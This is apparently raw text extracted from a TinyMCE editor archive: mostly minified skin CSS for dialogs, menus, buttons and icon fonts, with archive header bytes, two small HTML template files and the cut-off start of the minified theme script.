i{color:#adadad}.mce-window-head
.mce-title{line-height:20px;font-size:20px;font-weight:bold;text-rendering:optimizelegibility;padding-right:20px}.mce-window
.mce-container-body{display:block}.mce-foot{display:block;background-color:#FFF;border-top:1px
solid #c5c5c5}.mce-window-head
.mce-dragh{position:absolute;top:0;left:0;cursor:move;width:90%;height:100%}.mce-window
iframe{width:100%;height:100%}.mce-window-body
.mce-listbox{border-color:#ccc}.mce-rtl .mce-window-head
.mce-close{position:absolute;right:auto;left:15px}.mce-rtl .mce-window-head
.mce-dragh{left:auto;right:0}.mce-rtl .mce-window-head
.mce-title{direction:rtl;text-align:right}.mce-tooltip{position:absolute;padding:5px;opacity:.8;filter:alpha(opacity=80);zoom:1}.mce-tooltip-inner{font-size:11px;background-color:#000;color:white;max-width:200px;padding:5px
8px 4px
8px;text-align:center;white-space:normal}.mce-tooltip-arrow{position:absolute;width:0;height:0;line-height:0;border:5px
dashed
#000}.mce-tooltip-arrow-n{border-bottom-color:#000}.mce-tooltip-arrow-s{border-top-color:#000}.mce-tooltip-arrow-e{border-left-color:#000}.mce-tooltip-arrow-w{border-right-color:#000}.mce-tooltip-nw,.mce-tooltip-sw{margin-left:-14px}.mce-tooltip-ne,.mce-tooltip-se{margin-left:14px}.mce-tooltip-n
.mce-tooltip-arrow{top:0;left:50%;margin-left:-5px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-nw
.mce-tooltip-arrow{top:0;left:10px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-ne
.mce-tooltip-arrow{top:0;right:10px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-s
.mce-tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-sw
.mce-tooltip-arrow{bottom:0;left:10px;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-se
.mce-tooltip-arrow{bottom:0;right:10px;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-e
.mce-tooltip-arrow{right:0;top:50%;margin-top:-5px;border-left-style:solid;border-right:none;border-top-color:transparent;border-bottom-color:transparent}.mce-tooltip-w
.mce-tooltip-arrow{left:0;top:50%;margin-top:-5px;border-right-style:solid;border-left:none;border-top-color:transparent;border-bottom-color:transparent}.mce-progress{display:inline-block;position:relative;height:20px}.mce-progress
.mce-bar-container{display:inline-block;width:100px;height:100%;margin-right:8px;border:1px
solid #ccc;overflow:hidden}.mce-progress
.mce-text{display:inline-block;margin-top:auto;margin-bottom:auto;font-size:14px;width:40px;color:#333}.mce-bar{display:block;width:0;height:100%;background-color:#d7d7d7;-webkit-transition:width
.2s ease;transition:width .2s
ease}.mce-notification{position:absolute;background-color:#F0F0F0;padding:5px;margin-top:5px;border-width:1px;border-style:solid;border-color:#CCCCCC;transition:transform
100ms ease-in,opacity 150ms
ease-in;opacity:0}.mce-notification.mce-in{opacity:1}.mce-notification-success{background-color:#dff0d8;border-color:#d6e9c6}.mce-notification-info{background-color:#d9edf7;border-color:#779ECB}.mce-notification-warning{background-color:#fcf8e3;border-color:#faebcc}.mce-notification-error{background-color:#f2dede;border-color:#ebccd1}.mce-notification.mce-has-close{padding-right:15px}.mce-notification
.mce-ico{margin-top:5px}.mce-notification-inner{display:inline-block;font-size:14px;margin:5px
8px 4px
8px;text-align:center;white-space:normal;color:#31708f}.mce-notification-inner
a{text-decoration:underline;cursor:pointer}.mce-notification
.mce-progress{margin-right:8px}.mce-notification .mce-progress
.mce-text{margin-top:5px}.mce-notification *,.mce-notification
.mce-progress .mce-text{color:#333333}.mce-notification .mce-progress
.mce-bar-container{border-color:#CCCCCC}.mce-notification .mce-progress
.mce-bar-container
.mce-bar{background-color:#333333}.mce-notification-success
*,.mce-notification-success .mce-progress
.mce-text{color:#3c763d}.mce-notification-success .mce-progress
.mce-bar-container{border-color:#d6e9c6}.mce-notification-success
.mce-progress .mce-bar-container
.mce-bar{background-color:#3c763d}.mce-notification-info
*,.mce-notification-info .mce-progress
.mce-text{color:#31708f}.mce-notification-info .mce-progress
.mce-bar-container{border-color:#779ECB}.mce-notification-info
.mce-progress .mce-bar-container
.mce-bar{background-color:#31708f}.mce-notification-warning
*,.mce-notification-warning .mce-progress
.mce-text{color:#8a6d3b}.mce-notification-warning .mce-progress
.mce-bar-container{border-color:#faebcc}.mce-notification-warning
.mce-progress .mce-bar-container
.mce-bar{background-color:#8a6d3b}.mce-notification-error
*,.mce-notification-error .mce-progress
.mce-text{color:#a94442}.mce-notification-error .mce-progress
.mce-bar-container{border-color:#ebccd1}.mce-notification-error
.mce-progress .mce-bar-container
.mce-bar{background-color:#a94442}.mce-notification
.mce-close{position:absolute;top:6px;right:8px;font-size:20px;font-weight:bold;line-height:20px;color:#858585;cursor:pointer;height:20px;overflow:hidden}.mce-abs-layout{position:relative}body
.mce-abs-layout-item,.mce-abs-end{position:absolute}.mce-abs-end{width:1px;height:1px}.mce-container-body.mce-abs-layout{overflow:hidden}.mce-btn{border:1px
solid #b1b1b1;border-color:transparent transparent transparent
transparent;position:relative;text-shadow:0 1px 1px
rgba(255,255,255,0.75);display:inline-block;*display:inline;*zoom:1;background-color:#f0f0f0}.mce-btn:hover,.mce-btn:focus{color:#333;background-color:#e3e3e3;border-color:#ccc}.mce-btn.mce-disabled
button,.mce-btn.mce-disabled:hover
button{cursor:default;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-btn.mce-active,.mce-btn.mce-active:hover{background-color:#dbdbdb;border-color:#ccc}.mce-btn:active{background-color:#e0e0e0;border-color:#ccc}.mce-btn
button{padding:4px
8px;font-size:14px;line-height:20px;*line-height:16px;cursor:pointer;color:#333;text-align:center;overflow:visible;-webkit-appearance:none}.mce-btn
button::-moz-focus-inner{border:0;padding:0}.mce-btn i{text-shadow:1px 1px
none}.mce-primary.mce-btn-has-text{min-width:50px}.mce-primary{color:#fff;border:1px
solid
transparent;border-color:transparent;background-color:#2d8ac7}.mce-primary:hover,.mce-primary:focus{background-color:#257cb6;border-color:transparent}.mce-primary.mce-disabled
button,.mce-primary.mce-disabled:hover
button{cursor:default;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-primary.mce-active,.mce-primary.mce-active:hover,.mce-primary:not(.mce-disabled):active{background-color:#206ea1}.mce-primary
button,.mce-primary button i{color:#fff;text-shadow:1px 1px none}.mce-btn
.mce-txt{font-size:inherit;line-height:inherit;color:inherit}.mce-btn-large
button{padding:9px 14px;font-size:16px;line-height:normal}.mce-btn-large
i{margin-top:2px}.mce-btn-small button{padding:1px
5px;font-size:12px;*padding-bottom:2px}.mce-btn-small
i{line-height:20px;vertical-align:top;*line-height:18px}.mce-btn
.mce-caret{margin-top:8px;margin-left:0}.mce-btn-small
.mce-caret{margin-top:8px;margin-left:0}.mce-caret{display:inline-block;*display:inline;*zoom:1;width:0;height:0;vertical-align:top;border-top:4px
solid #333;border-right:4px solid transparent;border-left:4px solid
transparent;content:""}.mce-disabled
.mce-caret{border-top-color:#aaa}.mce-caret.mce-up{border-bottom:4px solid
#333;border-top:0}.mce-btn-flat{border:0;background:transparent;filter:none}.mce-btn-flat:hover,.mce-btn-flat.mce-active,.mce-btn-flat:focus,.mce-btn-flat:active{border:0;background:#e6e6e6;filter:none}.mce-btn-has-text
.mce-ico{padding-right:5px}.mce-rtl .mce-btn
button{direction:rtl}.mce-btn-group
.mce-btn{border-width:1px;margin:0;margin-left:2px}.mce-btn-group:not(:first-child){border-left:1px
solid #d9d9d9;padding-left:3px;margin-left:3px}.mce-btn-group
.mce-first{margin-left:0}.mce-btn-group
.mce-btn.mce-flow-layout-item{margin:0}.mce-rtl .mce-btn-group
.mce-btn{margin-left:0;margin-right:2px}.mce-rtl .mce-btn-group
.mce-first{margin-right:0}.mce-rtl
.mce-btn-group:not(:first-child){border-left:none;border-right:1px solid
#d9d9d9;padding-right:4px;margin-right:4px}.mce-checkbox{cursor:pointer}i.mce-i-checkbox{margin:0
3px 0 0;border:1px solid
#c5c5c5;background-color:#f0f0f0;text-indent:-10em;*font-size:0;*line-height:0;*text-indent:0;overflow:hidden}.mce-checked
i.mce-i-checkbox{color:#333;font-size:16px;line-height:16px;text-indent:0}.mce-checkbox:focus
i.mce-i-checkbox,.mce-checkbox.mce-focus i.mce-i-checkbox{border:1px solid
rgba(82,168,236,0.8)}.mce-checkbox.mce-disabled
.mce-label,.mce-checkbox.mce-disabled
i.mce-i-checkbox{color:#acacac}.mce-checkbox
.mce-label{vertical-align:middle}.mce-rtl
.mce-checkbox{direction:rtl;text-align:right}.mce-rtl
i.mce-i-checkbox{margin:0 0 0
3px}.mce-combobox{position:relative;display:inline-block;*display:inline;*zoom:1;*height:32px}.mce-combobox
input{border:1px solid
#c5c5c5;border-right-color:#c5c5c5;height:28px}.mce-combobox.mce-disabled
input{color:#adadad}.mce-combobox .mce-btn{border:1px solid
#c5c5c5;border-left:0;margin:0}.mce-combobox
button{padding-right:8px;padding-left:8px}.mce-combobox.mce-disabled
.mce-btn
button{cursor:default;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-combobox
.mce-status{position:absolute;right:2px;top:50%;line-height:16px;margin-top:-8px;font-size:12px;width:15px;height:15px;text-align:center;cursor:pointer}.mce-combobox.mce-has-status
input{padding-right:20px}.mce-combobox.mce-has-open
.mce-status{right:37px}.mce-combobox
.mce-status.mce-i-warning{color:#c09853}.mce-combobox
.mce-status.mce-i-checkmark{color:#468847}.mce-menu.mce-combobox-menu{border-top:0;margin-top:0;max-height:200px}.mce-menu.mce-combobox-menu
.mce-menu-item{padding:4px 6px 4px
4px;font-size:11px}.mce-menu.mce-combobox-menu
.mce-menu-item-sep{padding:0}.mce-menu.mce-combobox-menu
.mce-text{font-size:11px}.mce-menu.mce-combobox-menu
.mce-menu-item-link,.mce-menu.mce-combobox-menu .mce-menu-item-link
b{font-size:11px}.mce-menu.mce-combobox-menu .mce-text
b{font-size:11px}.mce-colorbox i{border:1px solid
#c5c5c5;width:14px;height:14px}.mce-colorbutton
.mce-ico{position:relative}.mce-colorbutton-grid{margin:4px}.mce-colorbutton
button{padding-right:6px;padding-left:6px}.mce-colorbutton
.mce-preview{padding-right:3px;display:block;position:absolute;left:50%;top:50%;margin-left:-17px;margin-top:7px;background:gray;width:13px;height:2px;overflow:hidden}.mce-colorbutton.mce-btn-small
.mce-preview{margin-left:-16px;padding-right:0;width:16px}.mce-colorbutton
.mce-open{padding-left:4px;padding-right:4px;border-left:1px solid
transparent}.mce-colorbutton:hover
.mce-open{border-color:#ccc}.mce-colorbutton.mce-btn-small
.mce-open{padding:0 3px 0 3px}.mce-rtl
.mce-colorbutton{direction:rtl}.mce-rtl .mce-colorbutton
.mce-preview{margin-left:0;padding-right:0;padding-left:3px}.mce-rtl
.mce-colorbutton.mce-btn-small
.mce-preview{margin-left:0;padding-right:0;padding-left:2px}.mce-rtl
.mce-colorbutton
.mce-open{padding-left:4px;padding-right:4px;border-left:0}.mce-colorpicker{position:relative;width:250px;height:220px}.mce-colorpicker-sv{position:absolute;top:0;left:0;width:90%;height:100%;border:1px
solid
#c5c5c5;cursor:crosshair;overflow:hidden}.mce-colorpicker-h-chunk{width:100%}.mce-colorpicker-overlay1,.mce-colorpicker-overlay2{width:100%;height:100%;position:absolute;top:0;left:0}.mce-colorpicker-overlay1{filter:progid:DXImageTransform.Microsoft.gradient(GradientType=1,
startColorstr='#ffffff',
endColorstr='#00ffffff');-ms-filter:"progid:DXImageTransform.Microsoft.gradient(GradientType=1,startColorstr='#ffffff',
endColorstr='#00ffffff')";background:linear-gradient(to
right, #fff,
rgba(255,255,255,0))}.mce-colorpicker-overlay2{filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,
startColorstr='#00000000',
endColorstr='#000000');-ms-filter:"progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#00000000',
endColorstr='#000000')";background:linear-gradient(to
bottom, rgba(0,0,0,0),
#000)}.mce-colorpicker-selector1{background:none;position:absolute;width:12px;height:12px;margin:-8px
0 0 -8px;border:1px solid
black;border-radius:50%}.mce-colorpicker-selector2{position:absolute;width:10px;height:10px;border:1px
solid
white;border-radius:50%}.mce-colorpicker-h{position:absolute;top:0;right:0;width:6.5%;height:100%;border:1px
solid
#c5c5c5;cursor:crosshair}.mce-colorpicker-h-marker{margin-top:-4px;position:absolute;top:0;left:-1px;width:100%;border:1px
solid
#333;background:#fff;height:4px;z-index:100}.mce-path{display:inline-block;*display:inline;*zoom:1;padding:8px;white-space:normal}.mce-path
.mce-txt{display:inline-block;padding-right:3px}.mce-path
.mce-path-body{display:inline-block}.mce-path-item{display:inline-block;*display:inline;*zoom:1;cursor:pointer;color:#333}.mce-path-item:hover{text-decoration:underline}.mce-path-item:focus{background:#666;color:#fff}.mce-path
.mce-divider{display:inline}.mce-disabled
.mce-path-item{color:#aaa}.mce-rtl
.mce-path{direction:rtl}.mce-fieldset{border:0 solid
#9E9E9E}.mce-fieldset>.mce-container-body{margin-top:-15px}.mce-fieldset-title{margin-left:5px;padding:0
5px 0
5px}.mce-fit-layout{display:inline-block;*display:inline;*zoom:1}.mce-fit-layout-item{position:absolute}.mce-flow-layout-item{display:inline-block;*display:inline;*zoom:1}.mce-flow-layout-item{margin:2px
0 2px
2px}.mce-flow-layout-item.mce-last{margin-right:2px}.mce-flow-layout{white-space:normal}.mce-tinymce-inline
.mce-flow-layout{white-space:nowrap}.mce-rtl
.mce-flow-layout{text-align:right;direction:rtl}.mce-rtl
.mce-flow-layout-item{margin:2px 2px 2px 0}.mce-rtl
.mce-flow-layout-item.mce-last{margin-left:2px}.mce-iframe{border:0 solid
rgba(0,0,0,0.2);width:100%;height:100%}.mce-infobox{display:inline-block;*display:inline;*zoom:1;text-shadow:0
1px 1px rgba(255,255,255,0.75);overflow:hidden;border:1px solid
red}.mce-infobox div{display:block;margin:5px}.mce-infobox div
button{position:absolute;top:50%;right:4px;cursor:pointer;margin-top:-8px;display:none}.mce-infobox
div button:focus{outline:2px solid #ccc}.mce-infobox.mce-has-help
div{margin-right:25px}.mce-infobox.mce-has-help
button{display:block}.mce-infobox.mce-success{background:#dff0d8;border-color:#d6e9c6}.mce-infobox.mce-success
div{color:#3c763d}.mce-infobox.mce-warning{background:#fcf8e3;border-color:#faebcc}.mce-infobox.mce-warning
div{color:#8a6d3b}.mce-infobox.mce-error{background:#f2dede;border-color:#ebccd1}.mce-infobox.mce-error
div{color:#a94442}.mce-rtl .mce-infobox
div{text-align:right;direction:rtl}.mce-label{display:inline-block;*display:inline;*zoom:1;text-shadow:0
1px 1px
rgba(255,255,255,0.75);overflow:hidden}.mce-label.mce-autoscroll{overflow:auto}.mce-label.mce-disabled{color:#aaa}.mce-label.mce-multiline{white-space:pre-wrap}.mce-label.mce-success{color:#468847}.mce-label.mce-warning{color:#c09853}.mce-label.mce-error{color:#b94a48}.mce-rtl
.mce-label{text-align:right;direction:rtl}.mce-menubar
.mce-menubtn{border-color:transparent;background:transparent;filter:none}.mce-menubar
.mce-menubtn button{color:#333}.mce-menubar{border:1px solid
rgba(217,217,217,0.52)}.mce-menubar .mce-menubtn button
span{color:#333}.mce-menubar .mce-caret{border-top-color:#333}.mce-menubar
.mce-menubtn:hover,.mce-menubar .mce-menubtn.mce-active,.mce-menubar
.mce-menubtn:focus{border-color:#ccc;background:#fff;filter:none}.mce-menubtn
button{color:#333}.mce-menubtn.mce-btn-small
span{font-size:12px}.mce-menubtn.mce-fixed-width
span{display:inline-block;overflow-x:hidden;text-overflow:ellipsis;width:90px}.mce-menubtn.mce-fixed-width.mce-btn-small
span{width:70px}.mce-menubtn .mce-caret{*margin-top:6px}.mce-rtl
.mce-menubtn
button{direction:rtl;text-align:right}.mce-menu-item{display:block;padding:6px
15px 6px
12px;clear:both;font-weight:normal;line-height:20px;color:#333;white-space:nowrap;cursor:pointer;line-height:normal;border-left:4px
solid transparent;margin-bottom:1px}.mce-menu-item .mce-ico,.mce-menu-item
.mce-text{color:#333}.mce-menu-item.mce-disabled
.mce-text,.mce-menu-item.mce-disabled
.mce-ico{color:#adadad}.mce-menu-item:hover
.mce-text,.mce-menu-item.mce-selected .mce-text,.mce-menu-item:focus
.mce-text{color:white}.mce-menu-item:hover
.mce-ico,.mce-menu-item.mce-selected .mce-ico,.mce-menu-item:focus
.mce-ico{color:white}.mce-menu-item.mce-disabled:hover{background:#CCC}.mce-menu-shortcut{display:inline-block;color:#adadad}.mce-menu-shortcut{display:inline-block;*display:inline;*zoom:1;padding:0
15px 0 20px}.mce-menu-item:hover
.mce-menu-shortcut,.mce-menu-item.mce-selected
.mce-menu-shortcut,.mce-menu-item:focus
.mce-menu-shortcut{color:white}.mce-menu-item
.mce-caret{margin-top:4px;*margin-top:3px;margin-right:6px;border-top:4px
solid transparent;border-bottom:4px solid transparent;border-left:4px solid
#333}.mce-menu-item.mce-selected .mce-caret,.mce-menu-item:focus
.mce-caret,.mce-menu-item:hover
.mce-caret{border-left-color:white}.mce-menu-align
.mce-menu-shortcut{*margin-top:-2px}.mce-menu-align
.mce-menu-shortcut,.mce-menu-align
.mce-caret{position:absolute;right:0}.mce-menu-item.mce-active
i{visibility:visible}.mce-menu-item-normal.mce-active{background-color:#3498db}.mce-menu-item-preview.mce-active{border-left:5px
solid #aaa}.mce-menu-item-normal.mce-active
.mce-text{color:white}.mce-menu-item-normal.mce-active:hover
.mce-text,.mce-menu-item-normal.mce-active:hover
.mce-ico{color:white}.mce-menu-item-normal.mce-active:focus
.mce-text,.mce-menu-item-normal.mce-active:focus
.mce-ico{color:white}.mce-menu-item:hover,.mce-menu-item.mce-selected,.mce-menu-item:focus{text-decoration:none;color:white;background-color:#2d8ac7}.mce-menu-item-link{color:#093;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.mce-menu-item-link
b{color:#093}.mce-menu-item-ellipsis{display:block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.mce-menu-item:hover
*,.mce-menu-item.mce-selected *,.mce-menu-item:focus
*{color:white}div.mce-menu
.mce-menu-item-sep,.mce-menu-item-sep:hover{border:0;padding:0;height:1px;margin:9px
1px;overflow:hidden;background:transparent;border-bottom:1px solid
rgba(0,0,0,0.1);cursor:default;filter:none}div.mce-menu .mce-menu-item
b{font-weight:bold}.mce-menu-item-indent-1{padding-left:20px}.mce-menu-item-indent-2{padding-left:35px}.mce-menu-item-indent-2{padding-left:35px}.mce-menu-item-indent-3{padding-left:40px}.mce-menu-item-indent-4{padding-left:45px}.mce-menu-item-indent-5{padding-left:50px}.mce-menu-item-indent-6{padding-left:55px}.mce-menu.mce-rtl{direction:rtl}.mce-rtl
.mce-menu-item{text-align:right;direction:rtl;padding:6px 12px 6px
15px}.mce-menu-align.mce-rtl .mce-menu-shortcut,.mce-menu-align.mce-rtl
.mce-caret{right:auto;left:0}.mce-rtl .mce-menu-item
.mce-caret{margin-left:6px;margin-right:0;border-right:4px solid
#333;border-left:0}.mce-rtl .mce-menu-item.mce-selected .mce-caret,.mce-rtl
.mce-menu-item:focus .mce-caret,.mce-rtl .mce-menu-item:hover
.mce-caret{border-left-color:transparent;border-right-color:white}.mce-throbber{position:absolute;top:0;left:0;width:100%;height:100%;opacity:.6;filter:alpha(opacity=60);zoom:1;background:#fff
url('img/loader.gif') no-repeat center
center}.mce-throbber-inline{position:static;height:50px}.mce-menu
.mce-throbber-inline{height:25px;background-size:contain}.mce-menu{position:absolute;left:0;top:0;filter:progid:DXImageTransform.Microsoft.gradient(enabled
= false);background:transparent;z-index:1000;padding:5px 0 5px
0;margin:-1px 0 0;min-width:160px;background:#fff;border:1px solid
#989898;border:1px solid
rgba(0,0,0,0.2);z-index:1002;max-height:400px;overflow:auto;overflow-x:hidden}.mce-menu
i{display:none}.mce-menu-has-icons
i{display:inline-block;*display:inline}.mce-menu-sub-tr-tl{margin:-6px 0 0
-1px}.mce-menu-sub-br-bl{margin:6px 0 0
-1px}.mce-menu-sub-tl-tr{margin:-6px 0 0 1px}.mce-menu-sub-bl-br{margin:6px
0 0 1px}.mce-listbox
button{text-align:left;padding-right:20px;position:relative}.mce-listbox
.mce-caret{position:absolute;margin-top:-2px;right:8px;top:50%}.mce-rtl
.mce-listbox .mce-caret{right:auto;left:8px}.mce-rtl .mce-listbox
button{padding-right:10px;padding-left:20px}.mce-container-body
.mce-resizehandle{position:absolute;right:0;bottom:0;width:16px;height:16px;visibility:visible;cursor:s-resize;margin:0}.mce-container-body
.mce-resizehandle-both{cursor:se-resize}i.mce-i-resize{color:#333}.mce-selectbox{background:#fff;border:1px
solid #c5c5c5}.mce-slider{border:1px solid
#AAA;background:#EEE;width:100px;height:10px;position:relative;display:block}.mce-slider.mce-vertical{width:10px;height:100px}.mce-slider-handle{border:1px
solid
#BBB;background:#DDD;display:block;width:13px;height:13px;position:absolute;top:0;left:0;margin-left:-1px;margin-top:-2px}.mce-slider-handle:focus{background:#BBB}.mce-spacer{visibility:hidden}.mce-splitbtn
.mce-open{border-left:1px solid transparent}.mce-splitbtn:hover
.mce-open{border-left-color:#ccc}.mce-splitbtn
button{padding-right:6px;padding-left:6px}.mce-splitbtn
.mce-open{padding-right:4px;padding-left:4px}.mce-splitbtn
.mce-open.mce-active{background-color:#dbdbdb;outline:1px solid
#ccc}.mce-splitbtn.mce-btn-small .mce-open{padding:0 3px 0 3px}.mce-rtl
.mce-splitbtn{direction:rtl;text-align:right}.mce-rtl .mce-splitbtn
button{padding-right:4px;padding-left:4px}.mce-rtl .mce-splitbtn
.mce-open{border-left:0}.mce-stack-layout-item{display:block}.mce-tabs{display:block;border-bottom:1px
solid
#c5c5c5}.mce-tabs,.mce-tabs+.mce-container-body{background:#FFF}.mce-tab{display:inline-block;*display:inline;*zoom:1;border:1px
solid #c5c5c5;border-width:0 1px 0
0;background:#ffffff;padding:8px;text-shadow:0 1px 1px
rgba(255,255,255,0.75);height:13px;cursor:pointer}.mce-tab:hover{background:#FDFDFD}.mce-tab.mce-active{background:#FDFDFD;border-bottom-color:transparent;margin-bottom:-1px;height:14px}.mce-rtl
.mce-tabs{text-align:right;direction:rtl}.mce-rtl .mce-tab{border-width:0 0
0 1px}.mce-textbox{background:#fff;border:1px solid
#c5c5c5;display:inline-block;-webkit-transition:border linear .2s,
box-shadow linear .2s;transition:border linear .2s, box-shadow linear
.2s;height:28px;resize:none;padding:0 4px 0
4px;white-space:pre-wrap;*white-space:pre;color:#333}.mce-textbox:focus,.mce-textbox.mce-focus{border-color:#3498db}.mce-placeholder
.mce-textbox{color:#aaa}.mce-textbox.mce-multiline{padding:4px;height:auto}.mce-textbox.mce-disabled{color:#adadad}.mce-rtl
.mce-textbox{text-align:right;direction:rtl}@font-face{font-family:'tinymce';src:url('fonts/tinymce.eot');src:url('fonts/tinymce.eot?#iefix')
format('embedded-opentype'),url('fonts/tinymce.woff')
format('woff'),url('fonts/tinymce.ttf')
format('truetype'),url('fonts/tinymce.svg#tinymce')
format('svg');font-weight:normal;font-style:normal}@font-face{font-family:'tinymce-small';src:url('fonts/tinymce-small.eot');src:url('fonts/tinymce-small.eot?#iefix')
format('embedded-opentype'),url('fonts/tinymce-small.woff')
format('woff'),url('fonts/tinymce-small.ttf')
format('truetype'),url('fonts/tinymce-small.svg#tinymce')
format('svg');font-weight:normal;font-style:normal}.mce-ico{font-family:'tinymce',Arial;font-style:normal;font-weight:normal;font-variant:normal;font-size:16px;line-height:16px;speak:none;vertical-align:text-top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;display:inline-block;background:transparent
center
center;background-size:cover;width:16px;height:16px;color:#333}.mce-btn-small
.mce-ico{font-family:'tinymce-small',Arial}.mce-i-save:before{content:"\e000"}.mce-i-newdocument:before{content:"\e001"}.mce-i-fullpage:before{content:"\e002"}.mce-i-alignleft:before{content:"\e003"}.mce-i-aligncenter:before{content:"\e004"}.mce-i-alignright:before{content:"\e005"}.mce-i-alignjustify:before{content:"\e006"}.mce-i-alignnone:before{content:"\e003"}.mce-i-cut:before{content:"\e007"}.mce-i-paste:before{content:"\e008"}.mce-i-searchreplace:before{content:"\e009"}.mce-i-bullist:before{content:"\e00a"}.mce-i-numlist:before{content:"\e00b"}.mce-i-indent:before{content:"\e00c"}.mce-i-outdent:before{content:"\e00d"}.mce-i-blockquote:before{content:"\e00e"}.mce-i-undo:before{content:"\e00f"}.mce-i-redo:before{content:"\e010"}.mce-i-link:before{content:"\e011"}.mce-i-unlink:before{content:"\e012"}.mce-i-anchor:before{content:"\e013"}.mce-i-image:before{content:"\e014"}.mce-i-media:before{content:"\e015"}.mce-i-help:before{content:"\e016"}.mce-i-code:before{content:"\e017"}.mce-i-insertdatetime:before{content:"\e018"}.mce-i-preview:before{content:"\e019"}.mce-i-forecolor:before{content:"\e01a"}.mce-i-backcolor:before{content:"\e01a"}.mce-i-table:before{content:"\e01b"}.mce-i-hr:before{content:"\e01c"}.mce-i-removeformat:before{content:"\e01d"}.mce-i-subscript:before{content:"\e01e"}.mce-i-superscript:before{content:"\e01f"}.mce-i-charmap:before{content:"\e020"}.mce-i-emoticons:before{content:"\e021"}.mce-i-print:before{content:"\e022"}.mce-i-fullscreen:before{content:"\e023"}.mce-i-spellchecker:before{content:"\e024"}.mce-i-nonbreaking:before{content:"\e025"}.mce-i-template:before{content:"\e026"}.mce-i-pagebreak:before{content:"\e027"}.mce-i-restoredraft:before{content:"\e028"}.mce-i-bold:before{content:"\e02a"}.mce-i-italic:before{content:"\e02b"}.mce-i-underline:before{content:"\e02c"}.mce-i-strikethrough:before{content:"\e02d"}.mce-i-visualchars:before{content:"\e02e"}.mce-i-visualblocks:before{content:"\e02e"}.mce-i-ltr:before{content:"\e02f"}.mce-i-rtl:before{content:"\e030"}.mce-i-copy:before{content:"\e031"}.mce-i-resize:before{content:"\e032"}.mce-i-browse:before{content:"\e034"}.mce-i-pastetext:before{content:"\e035"}.mce-i-rotateleft:before{content:"\eaa8"}.mce-i-rotateright:before{content:"\eaa9"}.mce-i-crop:before{content:"\ee78"}.mce-i-editimage:before{content:"\e915"}.mce-i-options:before{content:"\ec6a"}.mce-i-flipv:before{content:"\eaaa"}.mce-i-fliph:before{content:"\eaac"}.mce-i-zoomin:before{content:"\eb35"}.mce-i-zoomout:before{content:"\eb36"}.mce-i-sun:before{content:"\eccc"}.mce-i-moon:before{content:"\eccd"}.mce-i-arrowleft:before{content:"\edc0"}.mce-i-arrowright:before{content:"\e93c"}.mce-i-drop:before{content:"\e935"}.mce-i-contrast:before{content:"\ecd4"}.mce-i-sharpen:before{content:"\eba7"}.mce-i-resize2:before{content:"\edf9"}.mce-i-orientation:before{content:"\e601"}.mce-i-invert:before{content:"\e602"}.mce-i-gamma:before{content:"\e600"}.mce-i-remove:before{content:"\ed6a"}.mce-i-tablerowprops:before{content:"\e604"}.mce-i-tablecellprops:before{content:"\e605"}.mce-i-table2:before{content:"\e606"}.mce-i-tablemergecells:before{content:"\e607"}.mce-i-tableinsertcolbefore:before{content:"\e608"}.mce-i-tableinsertcolafter:before{content:"\e609"}.mce-i-tableinsertrowbefore:before{content:"\e60a"}.mce-i-tableinsertrowafter:before{content:"\e60b"}.mce-i-tablesplitcells:before{content:"\e60d"}.mce-i-tabledelete:before{content:"\e60e"}.mce-i-tableleftheader:before{content:"\e62a"}.mce-i-tabletopheader:before{content:"\e62b"}.mce-i-tabledeleterow:before{content:"\e800"}.mce-i-tabledeletecol:before{content:"\e801"}.mce-i-codesample:before{content:"\e603"}.mce-i-fill:before{content:"\e902"}.mce-i-borderwidth:before{content:"\e903"}.mce-i-line:before{content:"\e904"}.mce-i-count:before{content:"\e905"}.mce-i-translate:before{content:"\e907"}.mce-i-drag:before{content:"\e908"}.mce-i-home:before{content:"\e90b"}.mce-i-upload:before{content:"\e914"}.mce-i-bubble:before{content:"\e91c"}.mce-i-user:before{content:"\e91d"}.mce-i-lock:before{content:"\e926"}.mce-i-unlock:before{content:"\e927"}.mce-i-settings:before{content:"\e928"}.mce-i-remove2:before{content:"\e92a"}.mce-i-menu:before{content:"\e92d"}.mce-i-warning:before{content:"\e930"}.mce-i-question:before{content:"\e931"}.mce-i-pluscircle:before{content:"\e932"}.mce-i-info:before{content:"\e933"}.mce-i-notice:before{content:"\e934"}.mce-i-arrowup:before{content:"\e93b"}.mce-i-arrowdown:before{content:"\e93d"}.mce-i-arrowup2:before{content:"\e93f"}.mce-i-arrowdown2:before{content:"\e940"}.mce-i-menu2:before{content:"\e941"}.mce-i-newtab:before{content:"\e961"}.mce-i-a11y:before{content:"\e900"}.mce-i-plus:before{content:"\e93a"}.mce-i-insert:before{content:"\e93a"}.mce-i-minus:before{content:"\e939"}.mce-i-books:before{content:"\e911"}.mce-i-reload:before{content:"\e906"}.mce-i-toc:before{content:"\e901"}.mce-i-checkmark:before{content:"\e033"}.mce-i-checkbox:before,.mce-i-selected:before{content:"\e033"}.mce-i-insert{font-size:14px}.mce-i-selected{visibility:hidden}i.mce-i-backcolor{text-shadow:none;background:#BBB}PKW��[q�~��tinymce/templates/layout1.htmlnu�[���<table
border="1">
	<thead>
		<tr>
			<td>Column 1</td>
			<td>Column 2</td>
		</tr>
	</thead>

	<tbody>
		<tr>
			<td>Username: {$username}</td>
			<td>Staffid: {$staffid}</td>
		</tr>
	</tbody>
</table>
PKW��[���((tinymce/templates/snippet1.htmlnu�[���This
is just some
<strong>code</strong>.PKW��[ws(�K3K3"tinymce/themes/modern/theme.min.jsnu�[���!function(){var
e={},t=function(t){for(var n=e[t],i=n.deps,o=n.defn,a=i.length,s=new
